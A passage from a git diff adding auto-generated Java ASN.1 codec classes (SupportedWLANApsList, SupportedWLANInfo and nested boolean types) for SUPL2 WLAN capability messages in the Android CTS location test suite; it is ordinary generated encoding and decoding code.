+ public SupportedWLANApsChannel11bg setSupportedWLANapsChannel11bgToNewInstance() {
+ supportedWLANapsChannel11bg_ = new SupportedWLANApsChannel11bg();
+ return supportedWLANapsChannel11bg_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getSupportedWLANApDataList() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSupportedWLANApDataList();
+ }
+
+ @Override public void setToNewInstance() {
+ setSupportedWLANApDataListToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SupportedWLANApsList.supportedWLANApDataListType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "supportedWLANApDataList : "
+ + getSupportedWLANApDataList().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getSupportedWLANapsChannel11a() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSupportedWLANapsChannel11a();
+ }
+
+ @Override public void setToNewInstance() {
+ setSupportedWLANapsChannel11aToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SupportedWLANApsChannel11a.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "supportedWLANapsChannel11a : "
+ + getSupportedWLANapsChannel11a().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getSupportedWLANapsChannel11bg() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSupportedWLANapsChannel11bg();
+ }
+
+ @Override public void setToNewInstance() {
+ setSupportedWLANapsChannel11bgToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SupportedWLANApsChannel11bg.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "supportedWLANapsChannel11bg : "
+ + getSupportedWLANapsChannel11bg().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class supportedWLANApDataListType
+ extends Asn1SequenceOf<SupportedWLANApData> {
+ //
+
+ private static final Asn1Tag TAG_supportedWLANApDataListType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public supportedWLANApDataListType() {
+ super();
+ setMinSize(1);
+setMaxSize(128);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_supportedWLANApDataListType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_supportedWLANApDataListType != null) {
+ return ImmutableList.of(TAG_supportedWLANApDataListType);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new supportedWLANApDataListType from encoded stream.
+ */
+ public static supportedWLANApDataListType fromPerUnaligned(byte[] encodedBytes) {
+ supportedWLANApDataListType result = new supportedWLANApDataListType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new supportedWLANApDataListType from encoded stream.
+ */
+ public static supportedWLANApDataListType fromPerAligned(byte[] encodedBytes) {
+ supportedWLANApDataListType result = new supportedWLANApDataListType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public SupportedWLANApData createAndAddValue() {
+ SupportedWLANApData value = new SupportedWLANApData();
+ add(value);
+ return value;
+ }
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("supportedWLANApDataListType = [\n");
+ final String internalIndent = indent + " ";
+ for (SupportedWLANApData value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("SupportedWLANApsList = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SupportedWLANInfo.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SupportedWLANInfo.java
new file mode 100755
index 0000000..dbd8d23
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/SupportedWLANInfo.java
@@ -0,0 +1,1833 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ver2_ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Boolean;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class SupportedWLANInfo extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_SupportedWLANInfo
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SupportedWLANInfo() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SupportedWLANInfo;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SupportedWLANInfo != null) {
+ return ImmutableList.of(TAG_SupportedWLANInfo);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SupportedWLANInfo from encoded stream.
+ */
+ public static SupportedWLANInfo fromPerUnaligned(byte[] encodedBytes) {
+ SupportedWLANInfo result = new SupportedWLANInfo();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SupportedWLANInfo from encoded stream.
+ */
+ public static SupportedWLANInfo fromPerAligned(byte[] encodedBytes) {
+ SupportedWLANInfo result = new SupportedWLANInfo();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private SupportedWLANInfo.apTPType apTP_;
+ public SupportedWLANInfo.apTPType getApTP() {
+ return apTP_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedWLANInfo.apTPType
+ */
+ public void setApTP(Asn1Object value) {
+ this.apTP_ = (SupportedWLANInfo.apTPType) value;
+ }
+ public SupportedWLANInfo.apTPType setApTPToNewInstance() {
+ apTP_ = new SupportedWLANInfo.apTPType();
+ return apTP_;
+ }
+
+ private SupportedWLANInfo.apAGType apAG_;
+ public SupportedWLANInfo.apAGType getApAG() {
+ return apAG_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedWLANInfo.apAGType
+ */
+ public void setApAG(Asn1Object value) {
+ this.apAG_ = (SupportedWLANInfo.apAGType) value;
+ }
+ public SupportedWLANInfo.apAGType setApAGToNewInstance() {
+ apAG_ = new SupportedWLANInfo.apAGType();
+ return apAG_;
+ }
+
+ private SupportedWLANInfo.apSNType apSN_;
+ public SupportedWLANInfo.apSNType getApSN() {
+ return apSN_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedWLANInfo.apSNType
+ */
+ public void setApSN(Asn1Object value) {
+ this.apSN_ = (SupportedWLANInfo.apSNType) value;
+ }
+ public SupportedWLANInfo.apSNType setApSNToNewInstance() {
+ apSN_ = new SupportedWLANInfo.apSNType();
+ return apSN_;
+ }
+
+ private SupportedWLANInfo.apDevTypeType apDevType_;
+ public SupportedWLANInfo.apDevTypeType getApDevType() {
+ return apDevType_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedWLANInfo.apDevTypeType
+ */
+ public void setApDevType(Asn1Object value) {
+ this.apDevType_ = (SupportedWLANInfo.apDevTypeType) value;
+ }
+ public SupportedWLANInfo.apDevTypeType setApDevTypeToNewInstance() {
+ apDevType_ = new SupportedWLANInfo.apDevTypeType();
+ return apDevType_;
+ }
+
+ private SupportedWLANInfo.apRSSIType apRSSI_;
+ public SupportedWLANInfo.apRSSIType getApRSSI() {
+ return apRSSI_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedWLANInfo.apRSSIType
+ */
+ public void setApRSSI(Asn1Object value) {
+ this.apRSSI_ = (SupportedWLANInfo.apRSSIType) value;
+ }
+ public SupportedWLANInfo.apRSSIType setApRSSIToNewInstance() {
+ apRSSI_ = new SupportedWLANInfo.apRSSIType();
+ return apRSSI_;
+ }
+
+ private SupportedWLANInfo.apChanFreqType apChanFreq_;
+ public SupportedWLANInfo.apChanFreqType getApChanFreq() {
+ return apChanFreq_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedWLANInfo.apChanFreqType
+ */
+ public void setApChanFreq(Asn1Object value) {
+ this.apChanFreq_ = (SupportedWLANInfo.apChanFreqType) value;
+ }
+ public SupportedWLANInfo.apChanFreqType setApChanFreqToNewInstance() {
+ apChanFreq_ = new SupportedWLANInfo.apChanFreqType();
+ return apChanFreq_;
+ }
+
+ private SupportedWLANInfo.apRTDType apRTD_;
+ public SupportedWLANInfo.apRTDType getApRTD() {
+ return apRTD_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedWLANInfo.apRTDType
+ */
+ public void setApRTD(Asn1Object value) {
+ this.apRTD_ = (SupportedWLANInfo.apRTDType) value;
+ }
+ public SupportedWLANInfo.apRTDType setApRTDToNewInstance() {
+ apRTD_ = new SupportedWLANInfo.apRTDType();
+ return apRTD_;
+ }
+
+ private SupportedWLANInfo.setTPType setTP_;
+ public SupportedWLANInfo.setTPType getSetTP() {
+ return setTP_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedWLANInfo.setTPType
+ */
+ public void setSetTP(Asn1Object value) {
+ this.setTP_ = (SupportedWLANInfo.setTPType) value;
+ }
+ public SupportedWLANInfo.setTPType setSetTPToNewInstance() {
+ setTP_ = new SupportedWLANInfo.setTPType();
+ return setTP_;
+ }
+
+ private SupportedWLANInfo.setAGType setAG_;
+ public SupportedWLANInfo.setAGType getSetAG() {
+ return setAG_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedWLANInfo.setAGType
+ */
+ public void setSetAG(Asn1Object value) {
+ this.setAG_ = (SupportedWLANInfo.setAGType) value;
+ }
+ public SupportedWLANInfo.setAGType setSetAGToNewInstance() {
+ setAG_ = new SupportedWLANInfo.setAGType();
+ return setAG_;
+ }
+
+ private SupportedWLANInfo.setSNType setSN_;
+ public SupportedWLANInfo.setSNType getSetSN() {
+ return setSN_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedWLANInfo.setSNType
+ */
+ public void setSetSN(Asn1Object value) {
+ this.setSN_ = (SupportedWLANInfo.setSNType) value;
+ }
+ public SupportedWLANInfo.setSNType setSetSNToNewInstance() {
+ setSN_ = new SupportedWLANInfo.setSNType();
+ return setSN_;
+ }
+
+ private SupportedWLANInfo.setRSSIType setRSSI_;
+ public SupportedWLANInfo.setRSSIType getSetRSSI() {
+ return setRSSI_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedWLANInfo.setRSSIType
+ */
+ public void setSetRSSI(Asn1Object value) {
+ this.setRSSI_ = (SupportedWLANInfo.setRSSIType) value;
+ }
+ public SupportedWLANInfo.setRSSIType setSetRSSIToNewInstance() {
+ setRSSI_ = new SupportedWLANInfo.setRSSIType();
+ return setRSSI_;
+ }
+
+ private SupportedWLANInfo.apRepLocType apRepLoc_;
+ public SupportedWLANInfo.apRepLocType getApRepLoc() {
+ return apRepLoc_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SupportedWLANInfo.apRepLocType
+ */
+ public void setApRepLoc(Asn1Object value) {
+ this.apRepLoc_ = (SupportedWLANInfo.apRepLocType) value;
+ }
+ public SupportedWLANInfo.apRepLocType setApRepLocToNewInstance() {
+ apRepLoc_ = new SupportedWLANInfo.apRepLocType();
+ return apRepLoc_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getApTP() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getApTP();
+ }
+
+ @Override public void setToNewInstance() {
+ setApTPToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SupportedWLANInfo.apTPType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "apTP : "
+ + getApTP().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getApAG() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getApAG();
+ }
+
+ @Override public void setToNewInstance() {
+ setApAGToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SupportedWLANInfo.apAGType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "apAG : "
+ + getApAG().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getApSN() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getApSN();
+ }
+
+ @Override public void setToNewInstance() {
+ setApSNToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SupportedWLANInfo.apSNType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "apSN : "
+ + getApSN().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getApDevType() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getApDevType();
+ }
+
+ @Override public void setToNewInstance() {
+ setApDevTypeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SupportedWLANInfo.apDevTypeType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "apDevType : "
+ + getApDevType().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getApRSSI() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getApRSSI();
+ }
+
+ @Override public void setToNewInstance() {
+ setApRSSIToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SupportedWLANInfo.apRSSIType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "apRSSI : "
+ + getApRSSI().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 5);
+
+ @Override public boolean isExplicitlySet() {
+ return getApChanFreq() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getApChanFreq();
+ }
+
+ @Override public void setToNewInstance() {
+ setApChanFreqToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SupportedWLANInfo.apChanFreqType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "apChanFreq : "
+ + getApChanFreq().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 6);
+
+ @Override public boolean isExplicitlySet() {
+ return getApRTD() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getApRTD();
+ }
+
+ @Override public void setToNewInstance() {
+ setApRTDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SupportedWLANInfo.apRTDType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "apRTD : "
+ + getApRTD().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 7);
+
+ @Override public boolean isExplicitlySet() {
+ return getSetTP() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSetTP();
+ }
+
+ @Override public void setToNewInstance() {
+ setSetTPToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SupportedWLANInfo.setTPType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "setTP : "
+ + getSetTP().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 8);
+
+ @Override public boolean isExplicitlySet() {
+ return getSetAG() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSetAG();
+ }
+
+ @Override public void setToNewInstance() {
+ setSetAGToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SupportedWLANInfo.setAGType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "setAG : "
+ + getSetAG().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 9);
+
+ @Override public boolean isExplicitlySet() {
+ return getSetSN() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSetSN();
+ }
+
+ @Override public void setToNewInstance() {
+ setSetSNToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SupportedWLANInfo.setSNType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "setSN : "
+ + getSetSN().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 10);
+
+ @Override public boolean isExplicitlySet() {
+ return getSetRSSI() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSetRSSI();
+ }
+
+ @Override public void setToNewInstance() {
+ setSetRSSIToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SupportedWLANInfo.setRSSIType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "setRSSI : "
+ + getSetRSSI().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 11);
+
+ @Override public boolean isExplicitlySet() {
+ return getApRepLoc() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getApRepLoc();
+ }
+
+ @Override public void setToNewInstance() {
+ setApRepLocToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SupportedWLANInfo.apRepLocType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "apRepLoc : "
+ + getApRepLoc().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class apTPType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_apTPType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public apTPType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_apTPType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_apTPType != null) {
+ return ImmutableList.of(TAG_apTPType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new apTPType from encoded stream.
+ */
+ public static apTPType fromPerUnaligned(byte[] encodedBytes) {
+ apTPType result = new apTPType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new apTPType from encoded stream.
+ */
+ public static apTPType fromPerAligned(byte[] encodedBytes) {
+ apTPType result = new apTPType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "apTPType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class apAGType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_apAGType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public apAGType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_apAGType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_apAGType != null) {
+ return ImmutableList.of(TAG_apAGType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new apAGType from encoded stream.
+ */
+ public static apAGType fromPerUnaligned(byte[] encodedBytes) {
+ apAGType result = new apAGType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new apAGType from encoded stream.
+ */
+ public static apAGType fromPerAligned(byte[] encodedBytes) {
+ apAGType result = new apAGType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
